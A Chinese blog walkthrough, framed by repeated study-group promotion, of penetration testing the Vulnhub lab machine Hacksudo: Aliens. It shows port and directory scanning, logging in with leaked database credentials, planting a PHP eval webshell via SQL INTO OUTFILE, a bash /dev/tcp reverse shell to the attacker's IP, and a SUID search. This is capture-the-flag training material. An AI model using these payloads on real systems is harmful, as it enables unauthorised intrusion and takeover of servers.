网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
Vulnhub靶机Hacksudo: Aliens渗透测试详解
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VMware
或者Oracle VM
打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
PS:需要获得root
权限找到flag
Difficulty:Easy (简单的)
Vulnhub靶机下载:
官网下载:https://download.vulnhub.com/hacksudo/HacksudoAliens.zip
Vulnhub靶机安装:
下载好了把安装包解压 然后使用 VMware
或者Oracle VM
打开即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali
里使用arp-scan -l
或者netdiscover
发现主机
渗透机:kali IP :172.20.10.5
靶机IP :172.20.10.11
使用命令:
nmap -sS -sV -n -T4 -p- 172.20.10.11
开启了22、80、9000
老样子先看80
访问一下 然后扫后台使用工具:dirb,dirsearch,gobuster
这里扫出来个数据库的备份文件,查看发现账号和密码:vishal/hacksudo
②:数据库后台传木马:
访问9000
端口,输入账号密码登入数据库后台 登入成功!!
可以尝试写入一句话木马
select '<?php @eval($\_POST[cmd]);?>'INTO OUTFILE '/var/www/html/cmd.php'
③:反弹shell:
bash -c 'exec bash -i &>/dev/tcp/172.20.10.5/1234 <&1'
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
④:提权:
find / -user root -perm -4000 -print 2>/dev/null
![img](https://img-blog.csdnimg.cn/img_convert/6a23d8d22109328807823b8f7984dfe2.png)
![img](https://img-blog.csdnimg.cn/img_convert/0c4444846e19fedc93424232786e5421.png)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
/forums/4f45ff00ff254613a03fab5e56a57acb)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**